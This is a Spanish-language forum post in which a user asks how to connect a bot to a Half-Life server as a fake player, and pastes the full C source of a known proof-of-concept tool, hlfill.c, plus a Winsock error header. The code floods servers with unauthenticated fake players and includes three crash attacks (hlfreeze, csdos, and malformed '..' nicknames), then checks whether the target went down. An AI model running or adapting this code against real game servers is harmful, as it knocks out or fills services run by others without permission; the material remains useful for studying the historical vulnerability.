Me gustaria que me explicaran como hacer una id para ese bot ,como hago para conectarlo mediante el sistema UPD de winsock ,ahora les dejo el codigo de luigi ,si me podrian explicar como hace para tener un nick y conectarce ,y que fi¡gure en el score como un player se los agradeceria ,desde ya muchas gracias
hlfill.c
Código:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#define stricmp strcasecmp
#define stristr strcasestr
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.3.2"
#define BUFFSZ 4010 // max Half-life packet in recvfrom()
#define PORT 27015
#define FUCK "\xff\xff\xff\xff" \
"connect %d %u " \
"\"" /* protocol info */ \
"\\prot\\%d" \
"\\unique\\0" \
"\\raw\\%s" \
"\\cdkey\\%s" \
"\" \"" /* game info */ \
"\\model\\gordon" \
"\\topcolor\\128" \
"\\bottomcolor\\128" \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"%s" /* password */ \
"\\name\\%s" \
"%s" /* more stuff */ \
"\"" \
"\n"
/* prot:
1 = raw & cdkey: authentication certificate or STEAM authentication USERID
2 = raw: authentication certificate
3 = raw & cdkey: STEAM authentication USERID
4 = raw & cdkey: VALVE authentication USERID
*/
void fgetz(u8 *data, int len);
u8 *rndstr(u8 *data, int len, u32 *seed, int onlyhex);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int sec);
int halflife_query(u8 *data, int size);
int source_query(u8 *data, int size);
u32 resolv(char *host);
void std_err(void);
u32 myseed;
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u32 chall;
int sd,
i,
len,
info,
prot = 2,
proto,
attack = 0,
autotest = 0,
players = 0;
u16 port = PORT;
u8 buff[BUFFSZ + 1],
password[128],
raw_tmp[33],
cdkey_tmp[33],
name_tmp[33],
*host,
*raw = NULL,
*cdkey = NULL,
*name = NULL,
*addparval = "",
*p;
static const u8
info1[] = "\xff\xff\xff\xff" "infostring\n",
info2[] = "\xff\xff\xff\xff" "T" "Source Engine Query",
getch[] = "\xff\xff\xff\xff" "getchallenge\n";
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Half-Life fake players bug (no auth) "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host[:port]>\n"
"\n"
"Options:\n"
"-x automatically cycles through all the available attack options testing\n"
" them with both -p 1 -r steam and -p 4 -r valve\n"
"-1 hlfreeze/hl-headnut attack\n"
"-2 csdos attack\n"
"-3 \"Born to be pig\" attack\n"
"-n NICK a fixed nickname to use (random)\n"
"-p NUM \\prot\\ value (%d)\n"
"-r TEXT \\raw\\ value (random)\n"
"-k HASH cd-key hash for the \\cdkey\\ value (random)\n"
"-a \\P\\V add custom parameters and values, for example:\n"
" -a \\password\\blabla\\parameter\\value\n"
"\n"
"default server port is %hu\n"
"\n", argv[0], prot, port);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2)) {
printf("\nError: recheck your options (%s is not valid)\n", argv[i]);
exit(1);
}
switch(argv[i][1]) {
case 'x': autotest = 1; break;
case '1': attack = 1; break;
case '2': attack = 2; break;
case '3': attack = 3; break;
case 'n': name = argv[++i]; break;
case 'p': prot = atoi(argv[++i]); break;
case 'r': raw = argv[++i]; break;
case 'k': cdkey = argv[++i]; break;
case 'a': addparval = argv[++i]; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
} break;
}
}
host = argv[argc];
p = strchr(host, ':');
if(p) {
*p = 0;
port = atoi(p + 1);
}
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
info = 1;
printf("- query server with the classical Half-life query\n");
len = send_recv(sd, (u8 *)info1, sizeof(info1), buff, BUFFSZ, &peer, 0);
if(len >= 0) {
proto = halflife_query(buff, len);
} else {
info = 2;
printf("\n- query server with the Steam query\n");
len = send_recv(sd, (u8 *)info2, sizeof(info2), buff, BUFFSZ, &peer, 1);
proto = source_query(buff, len);
}
close(sd);
myseed = ~time(NULL);
password[0] = 0;
redo_autotest:
chall = 0;
if(autotest) {
attack = (autotest + 1) / 2;
if(attack > 3) {
printf("\n- test finished\n");
exit(1);
}
if(autotest & 1) {
prot = 1;
raw = "steam";
} else {
prot = 4;
raw = "valve";
}
printf("- test attack %d with -p %d -r %s\n", attack, prot, raw);
}
if((attack == 3) && name) name = NULL;
players = 0;
for(;;) {
printf("\n Player: ");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
do {
peerl.sin_port++;
} while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0);
if(!chall) {
len = send_recv(sd, (u8 *)getch, sizeof(getch), buff, BUFFSZ, &peer, 1);
if(buff[4] != 'A') goto quit_error;
for(i = 5; i < len; i++) {
if(buff[i] == ' ') { i++; break; }
}
sscanf(buff + i, "%u", &chall);
printf("%u", chall);
}
if(attack == 2) {
printf("\n- csdos attack\n ");
addparval = "\\";
}
if(attack == 3) {
if(!name) {
printf("\n- \"Born to be pig\" attack\n ");
memset(name_tmp, 0, sizeof(name_tmp));
rndstr(name_tmp, -1, &myseed, 0);
memcpy(name_tmp + (myseed % (strlen(name_tmp) - 1)), "..", 2);
name = name_tmp;
}
}
len = 1 + sprintf( // NULL included ever!
buff,
FUCK,
proto,
chall,
prot,
raw ? raw : rndstr(raw_tmp, 32, &myseed, 1),
cdkey ? cdkey : rndstr(cdkey_tmp, 32, &myseed, 1),
password,
name ? name : rndstr(name_tmp, -1, &myseed, 0),
addparval);
if(attack == 1) {
printf("\n- hlfreeze/hl-headnut attack\n ");
p = strchr(buff, '\"');
if(p && (p = strchr(p + 1, '\"'))) {
rndstr(p + 1, -1, &myseed, 0); // needed
len = strlen(buff);
}
}
if(attack) {
len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 0);
if(len < 0) break;
} else {
len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 1);
}
close(sd);
if(buff[4] == 'B') {
printf("%s", buff + 5);
players++;
if(attack && (players >= 2)) break;
} else {
buff[len] = 0;
if(stristr(buff + 5, " full")) {
printf("\n- %s", buff + 5);
for(i = 5; i; i--) {
printf(" %5d\r", i);
sleep(ONESEC);
}
players = 0;
} else if(stristr(buff + 5, "password")) {
printf("\n- insert the required password (%s):\n ", buff + 5);
len = sprintf(password, "\\password\\");
fgetz(password + len, sizeof(password) - len);
} else if(stristr(buff + 5, "challenge")) {
printf("\n- %s", buff + 5);
chall = 0;
} else if(stristr(buff + 5, "already in use")) {
printf("\n- %s", buff + 5);
} else {
goto quit_error;
}
}
}
printf("\n- check if server is crashed:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(info == 1) {
len = send_recv(sd, (u8 *)info1, sizeof(info1), buff, BUFFSZ, &peer, 0);
} else {
len = send_recv(sd, (u8 *)info2, sizeof(info2), buff, BUFFSZ, &peer, 0);
}
if(len < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
if(autotest) {
autotest++;
goto redo_autotest;
}
return(0);
quit_error:
printf("\n"
"Error: the server has sent an unexpected reply:\n"
" %s\n", buff + 5);
close(sd);
if(autotest) {
autotest++;
goto redo_autotest;
}
return(0);
}
void fgetz(u8 *data, int len) {
u8 *p;
fgets(data, len, stdin);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
}
u8 *rndstr(u8 *data, int len, u32 *seed, int onlyhex) {
u32 rnd;
int tablelen;
u8 *table,
*p = data;
static const u8
table_hex[] =
"0123456789abcdef",
table_str[] =
"0123456789abcdef"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
rnd = *seed;
if(len < 0) {
len = rnd % 16;
if(len < 3) len = 3;
}
if(onlyhex) {
table = (u8 *)table_hex;
tablelen = sizeof(table_hex) - 1;
} else {
table = (u8 *)table_str;
tablelen = sizeof(table_str) - 1;
}
while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
*p++ = table[(rnd >> 16) % tablelen];
}
*p++ = 0;
*seed = rnd;
return(data);
}
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
int retry = 2,
len;
if(in) {
while(retry--) {
fputc('.', stdout);
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) goto quit;
if(!out) return(0);
if(!timeout(sd, 2)) break;
}
} else {
if(timeout(sd, 3) < 0) retry = -1;
}
if(retry < 0) {
if(!err) return(-1);
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
fputc('.', stdout);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) goto quit;
return(len);
quit:
if(err) std_err();
return(-1);
}
int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
int halflife_query(u8 *data, int size) {
int nt = 1,
len,
proto = 0;
u8 *p,
*limit;
limit = data + size;
*limit = 0;
data += 4;
len = strlen(data);
if(len < size) data += len + 1;
for(p = data; (data < limit) && p; data = p + 1, nt++) {
p = strchr(data, '\\');
if(p) *p = 0;
if(nt & 1) {
printf("%s\n", data);
if(proto < 0) proto = atoi(data);
} else {
if(!*data) break;
printf("%30s: ", data);
if(!stricmp(data, "protocol")) proto = -1;
}
}
return(proto);
}
int source_query(u8 *data, int size) {
int proto;
data += 5;
printf("%30s: %s\n", "Address", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Hostname", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Map", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Mod", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Description", data); data += strlen(data) + 1;
printf("%30s: %u/%u\n", "Players", data[0], data[1]); data += 2;
proto = *data;
printf("%30s: %u\n", "Version", *data++);
printf("%30s: %c\n", "Server type", *data++);
printf("%30s: %c\n", "Server OS", *data++);
printf("%30s: %u\n", "Password", *data++);
printf("%30s: %u\n", "Secure server", *data);
return(proto);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
Código:
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
Me encantaria que me dijiesen como conectarme a un server y figurar como si fuese un player ,porfa ayuda ,gracias por prestarme atencio un abrazo